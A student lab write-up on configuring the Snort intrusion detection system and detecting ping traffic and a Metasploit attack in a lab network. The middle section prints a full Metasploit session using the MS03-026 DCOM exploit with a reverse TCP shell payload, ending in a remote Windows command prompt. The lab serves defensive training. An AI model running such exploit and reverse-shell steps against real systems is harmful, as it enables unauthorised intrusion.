

Project: Detecting Intrusions using Snort

Clay Jones

Objective:

The objective of this Lab was to learn how to properly set up an intrusion detection tool “Snort.” The objective was to detect traffic being sent from a linux machine to a windows machine. The linux machine will run different commands such as nmap and ping, along with running metasploit.

Set up:

```
ERROR: Fatal Error, Quitting..
root@bt:~# which snort
/usr/local/bin/snort
root@bt:~# cd /usr/local/bin
root@bt:/usr/local/bin# ../
bash: ../: is a directory
root@bt:/usr/local/bin# ../
bash: ../: is a directory
root@bt:/usr/local/bin# cd
root@bt:~# ls /etc/snort
classification.config    reference.config    snort.conf.bak    unicode.map
community-sid-msg.map    rules               snort.conf~      snort.debian.conf
database.conf              sid-msg.map        snort.conf       threshold.conf
gen-msg.map                snort.conf
```



First, I had to locate where my Snort application was and look at the files associated with it.

Snort Rules:

```
root@bt:~# ls /etc/snort/rules
Makefile.am           community-web-cgi.rules   other-ids.rules
VRT-License.txt       community-web-client.rules p2p.rules
attack-responses.rules community-web-dos.rules  policy.rules
backdoor.rules        community-web-iis.rules  pop2.rules
bad-traffic.rules    community-web-misc.rules pop3.rules
bleeding-all.rules   community-web-php.rules  porn.rules
cgi-bin.list          content-replace.rules  rpc.rules
chat.rules            ddos.rules                rservices.rules
community-bot.rules  deleted.rules             scan.rules
community-deleted.rules dns.rules               shellcode.rules
community-dos.rules   dos.rules                smtp.rules
community-exploit.rules experimental.rules  snmp.rules
community-ftp.rules  exploit.rules             spyware-put.rules
community-game.rules  finger.rules             sql.rules
community-icmp.rules ftp.rules               telnet.rules
community-imap.rules icmp.info.rules  tftp.rules
community-inappropriate.rules icmp.rules      virus.rules
community-mail-client.rules imap.rules      voip.rules
community-misc.rules  info.rules               web-attacks.rules
community-nntp.rules  local.rules              web-cgi.rules
```

```
root@bt:~# ls /etc/snort/rules/telnet.rules
/etc/snort/rules/telnet.rules
root@bt:~# cat /etc/snort/rules/telnet.rules
# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
#
# This file may contain proprietary rules that were created, tested and
# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
# rules that were created by Sourcefire and other third parties and
# distributed under the GNU General Public License (the "GPL Rules"). The
# VRT Certified Rules contained in this file are the property of
# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
# The GPL Rules created by Sourcefire, Inc. are the property of
# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
# Reserved. All other GPL Rules are owned and copyrighted by their
# respective owners (please see www.snort.org/contributors for a list of
# owners and their respective copyrights). In order to determine what
# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
# Certified Rules License Agreement.
#
#
# $Id: telnet.rules,v 1.56 2007/11/06 17:13:05 vrtbuild Exp $
```

Afterwards, I took a look at the preconfigure rules created for each protocol. I opened Telnet specifically just to see the rules for one protocol.

Capturing Ping Scans

```
root@bt:~# snort -v -i eth0
Running in packet dump mode

      --- Initializing Snort ---
Initializing Output Plugins!
Initializing Network Interface eth0
Decoding Ethernet on interface eth0

      --- Initialization Complete ---

      --> Snort! <*-
Version 2.8.5.2 (Build 121)
By Martin Roesch & The Snort Team: http://www.snort.org/snort/snort-
team
Copyright (C) 1998-2009 Sourcefire, Inc., et al.
Using PCRE version: 7.6 2008-01-28

Not Using PCAP_FRAMES
```

```
Graph this data and manage this system at https://landscape.canonical.com/
root@bt:~# ping 192.168.1.100 -c 4
PING 192.168.1.100 (192.168.1.100) 56(84) bytes of data.
64 bytes from 192.168.1.100: icmp_seq=1 ttl=128 time=0.360 ms
64 bytes from 192.168.1.100: icmp_seq=2 ttl=128 time=0.199 ms
64 bytes from 192.168.1.100: icmp_seq=3 ttl=128 time=0.185 ms
64 bytes from 192.168.1.100: icmp_seq=4 ttl=128 time=0.193 ms
```

```
Breakdown by protocol (includes rebuilt packets):
  ETH: 95      (100.000%)
ETHdisc: 0      (0.000%)
  VLAN: 0      (0.000%)
  IPV6: 6      (6.316%)
IP6 EXT: 0      (0.000%)
IP6opts: 0      (0.000%)
IP6disc: 0      (0.000%)
    IP4: 81      (85.263%)
IP4disc: 0      (0.000%)
    TCP 6: 0      (0.000%)
    UDP 6: 0      (0.000%)
  ICMP6: 0      (0.000%)
ICMP-IP: 0      (0.000%)
    TCP: 33      (34.737%)
    UDP: 30      (31.579%)
    ICMP: 8      (8.421%)
```

As you can see, I started the snort capture and then, on the linux machine, I ran 4 ping commands to generate network traffic. Snort detected the pings as you can see where the echo command is shown. Since there were 4 ping commands, you see that there were 8 ICMP packets captured.

Sending a payload with Metasploit to generate traffic

```
root@bt: ~
File Edit View Terminal Help
msf > use exploit/windows/dcepr/ms03_026_dcom
[-] Failed to load module: exploit/windows/dcepr/ms03_026_dcom
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > info
      Name: Microsoft RPC DCOM Interface Overflow
      Module: exploit/windows/dcerpc/ms03_026_dcom
      Version: 14774
      Platform:
      Privileged: Yes
      License: Metasploit Framework License (BSD)
      Rank: Great
      Provided by:
        hdm <hdm@metasploit.com>
        spoonm <spoonm@no$email.com>
        cazz <bmc@shmoo.com>
      Available targets:
        Id  Name
        --  ---
        0   Windows NT SP3-6a/2000/XP/2003 Universal  you are able to hear
      Basic options:
```

```
root@bt: ~
File Edit View Terminal Help
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0352
http://www.osvdb.org/2100
http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx
http://www.securityfocus.com/bid/8205

msf exploit(ms03_026_dcom) > nmap 192.168.1.100 -p 135
[*] exec: nmap 192.168.1.100 -p 135

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2025-02-07 20:00 EST
Nmap scan report for 192.168.1.100
Host is up (0.00020s latency).
PORT      STATE SERVICE
135/tcp    open  msrpc
MAC Address: 00:50:56:90:EE:96 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds
msf exploit(ms03_026_dcom) > set RHOST 192.168.1.100
RHOST => 192.168.1.100
msf exploit(ms03_026_dcom) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms03_026_dcom) > set LHOST 192.168.1.50
LHOST => 192.168.1.50
msf exploit(ms03_026_dcom) > exploit
```

```
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>pwd
pwd
'pwd' is not recognized as an internal or external command,
operable program or batch file.

C:\WINDOWS\system32>dir
dir
Volume in drive C has no label.
Volume Serial Number is B88B-4739
```

I activated the listener for snort and set up the DCOM Remote Procedure Call exploit in Metasploit over port 135. I ran an nmap command to show port 135 was open. This module exploits a stack buffer overflow in the RPCSS service. This is a vulnerability in older windows systems. We set the windows machine as the host and sent a reverse shell payload to gain system access.

Detection Report:



```
root@bt:~# snort -l . -c /etc/snort/snort.conf -r 'root/snort.log.1738976189'
Running in IDS mode

      === Initializing Snort ===
Initializing Output Plugins!
Initializing Preprocessors!
Initializing Plug-ins!
Parsing Rules file "/etc/snort/snort.conf"
PortVar 'HTTP_PORTS' defined : [ 80 ]
PortVar 'SHELLCODE_PORTS' defined : [ 0:79 81:65535 ]
PortVar 'ORACLE_PORTS' defined : [ 1521 ]
PortVar 'FTP_PORTS' defined : [ 21 ]
Tagged Packet Limit: 256
Snort BPF option: -r root/snort.log.1738976189
```

A screenshot of a terminal window on a Linux system. The terminal shows the output of a Snort capture. It includes logs for a NETBIOS DCE/RPC connection attempt, a Windows CMD.EXE banner, and an ATTACK-RESPONSES directory listing. Below the terminal, a window titled "kwrite alert" is open, displaying the captured logs. The desktop background has a watermark for "back | track 4".

Last, I stopped my Snort capture. A snort log file appeared on my desktop and I copied that file in the command above and then ran a kwrite alert command to store all the detections in a text file. As I parsed through this file I discovered that the attack was by 192.168.1.50 over port 135 and the directory listing command was done on the victim's machine. All this was done by our linux machine and snort was able to detect and log the malicious traffic.

Lessons Learned:

- **IDS is better when paired with IPS**
- **Snort can be used for continuous monitoring**
- **Snort offers real time traffic monitoring**
 - **Snort can have false positives**
 - **Snort is heavily rule based**